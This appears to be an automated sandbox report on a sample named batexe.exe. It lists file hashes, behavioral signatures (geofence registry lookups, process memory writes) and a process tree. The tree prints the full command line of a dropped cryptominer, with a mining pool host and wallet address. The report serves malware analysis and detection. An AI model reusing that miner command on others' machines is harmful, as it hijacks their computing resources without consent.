Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
299s -
max time network
293s -
platform
windows10-2004_x64 -
resource
win10v2004-20240221-ja -
resource tags
arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
23/02/2024, 17:56
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240221-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20240221-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation b2e.exe Key value queried \REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation batexe.exe -
Executes dropped EXE 2 IoCs
pid Process 4344 b2e.exe 1048 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 1048 cpuminer-sse2.exe 1048 cpuminer-sse2.exe 1048 cpuminer-sse2.exe 1048 cpuminer-sse2.exe 1048 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/4636-9-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4636 wrote to memory of 4344 4636 batexe.exe 87 PID 4636 wrote to memory of 4344 4636 batexe.exe 87 PID 4636 wrote to memory of 4344 4636 batexe.exe 87 PID 4344 wrote to memory of 2472 4344 b2e.exe 88 PID 4344 wrote to memory of 2472 4344 b2e.exe 88 PID 4344 wrote to memory of 2472 4344 b2e.exe 88 PID 2472 wrote to memory of 1048 2472 cmd.exe 91 PID 2472 wrote to memory of 1048 2472 cmd.exe 91
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4636 -
C:\Users\Admin\AppData\Local\Temp\5B9D.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\5B9D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5B9D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4344 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5E9B.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:2472 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1048
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
15.4MB
MD50db824a9f3494137b2d4bf983709216c
SHA19b1f967a78196e2709daa1d41a30e89fe2c3a21f
SHA2561978505ba107ed07c0aa491fb39cde4c50cf78d216fb8278ebe34ee8ce05acff
SHA512300c0f4377801ee79128fdef25218eeb5a4ee5a0996a98be19dbdabe7616237e5b7a61637da9538d73d0d48fe5af10dd55ca8e188f771ba5a3a419b61ed0feb5
-
Filesize
9.2MB
MD5d01de7fde330c0912f6cfa275e8c4bff
SHA168288153133e78ff94b7236454a5efb9f62ec82d
SHA256668f6b90a312a6766f8a28fcb865e0a387f213bf32379b618b6895b2aa4de29d
SHA512dddb4041b14d8bb6ea34536c75076b193cf724c7de2088c2be4c5fcb04b4cab8ec3f499839616a07e92773f8b30df68f136a6d71c3760bfd936e7ad29652b0fe
-
Filesize
9.1MB
MD5b4bb3dbc7760dc304a726df1c20f54ab
SHA1a9abc30f928d27fc96b091fd4d187aa26470f0ed
SHA256bda420d773630c497c99cff9350b782093121029874b4b739091903f0b3e8e06
SHA512102ae2cfdda1a7d2889dbdbfdc4f41cbc9690660401bb69a7f7a32fa714f15d12991152ee4052d105409712420bb2dddfd8f1594299af958872789f5a57986f2
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
1.8MB
MD5d80b98cad14ab7d8ad49bdea10bf6f78
SHA1e36f47025de04864ea3233b946593dc46c7588dd
SHA25687fef499779eccf1270b3f4b1b875f43ef9085178f27475affd5310df78ece4b
SHA512bc5b18eca17a407e1eb233ebd14921a3150e77362ee337dbdb730fd4462e836553f5eefa6c484e1dadcf52e6fc2683dab7b9e2b2182d9b5fa939e48dbc6a8688
-
Filesize
2.0MB
MD5b2acee8903ed4fd78f4f981541bdf5fb
SHA199aa0ef9e25ddd80c035f989a38fcc543c71e786
SHA256a276ecf181532503abfdabf8e6bb9d06321c35dc9f32f3d35d6c340f9f621182
SHA512916e852890d5467769f1c60fc3b78389717de6f4f3497f6722796aca48100cbad48bc46e53efb63acd5732a59579edaaf0837370a4b67eaad5c98de5a708ab18
-
Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
-
Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
-
Filesize
2.1MB
MD553856f0224914b5c4560b5a42505991d
SHA180333b0176a84601acf020486af4834ef507f5e0
SHA2566890061b6c5b58fa52ca1ce55bf570ef2c2d4d694593a902f5028f04c8272c2b
SHA51264da39c456e28261bb5be0de2dab09c6fb1b4fe435d22b6e02740f734ab47bbe1fe99fa97f95f6242afcdd90db2c3b22b0b277875062cb8ab3a715266c96ee1f
-
Filesize
1.1MB
MD57e19ce6416932e3b97727bf6cdd32d9d
SHA1b1d2f7364f6912d836325f747160a101c1c8d111
SHA256c17e8ed8439093b7fb310af8394087c2311d476b599609cb0b5ed8a975cad91a
SHA5125d0e021693d2b0cd7dbd19d2083a6ba57c48b71dea406990bf28e5ac470b2b69b277241e7bd51ac3c40b2751a3347fb61bd3e26ef99fcc3f2dc31fb73b366f01
-
Filesize
843KB
MD55a912a143a60cb865db56f20936c01ce
SHA11b91b1b9c9bea061827c230fd3c3aebdf4a446e2
SHA25677fe08221eda3973164a261cf6e4d5153a88df7c7bc288e48b488e4ee84792d0
SHA512e1a416df770610fb616276abf1db5ecaf1d781f8b21a9f9981a3fe05c3d853e8c1a793aff20a6b26a137763fba0a6298f1257c8207edcefd3b3b12ced44e9086
-
Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770